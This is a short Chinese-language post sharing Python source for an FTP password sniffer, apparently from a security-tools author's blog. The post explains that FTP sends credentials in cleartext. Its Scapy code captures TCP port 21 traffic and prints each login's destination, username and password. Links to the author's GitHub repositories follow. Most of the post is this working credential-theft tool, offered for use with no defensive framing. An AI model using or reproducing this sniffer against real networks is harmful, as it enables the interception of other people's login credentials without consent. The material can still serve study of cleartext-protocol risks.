[源码]python Scapy Ftp密码嗅探

时间：2022-05-19 08:08:32

[源码]python Scapy Ftp密码嗅探

原理很简单,FTP密码明文传输的

截取tcp 21端口User和Pass数据即可

Scapy框架编译程序较大(一个空程序都25M)，所以就不提供exe

 # -*- coding: UTF-8 -*-

 #author: k8gege

 import os

 import queue

 from scapy.all import *

 def ftpsniff(pkt):

     dest = pkt.getlayer(IP).dst

     raw = pkt.sprintf('%Raw.load%')

     user = re.findall('(?i)USER (.*)', raw)

     pwd = re.findall('(?i)PASS (.*)', raw)

     if user:

         print '[*] FTP Login to ' + str(dest)

         print '[+] Username: ' + str(user[0]).replace("\\r\\n'","");

     elif pwd:

         print '[+] Password: ' + str(pwd[0]).replace("\\r\\n'","");

 print('FTP Sniffing...');

 sniff(filter="tcp port 21", prn=ftpsniff)

https://github.com/k8gege/k8ftpsniffer

https://github.com/k8gege/K8tools/blob/master/k8ftpsniffer.py

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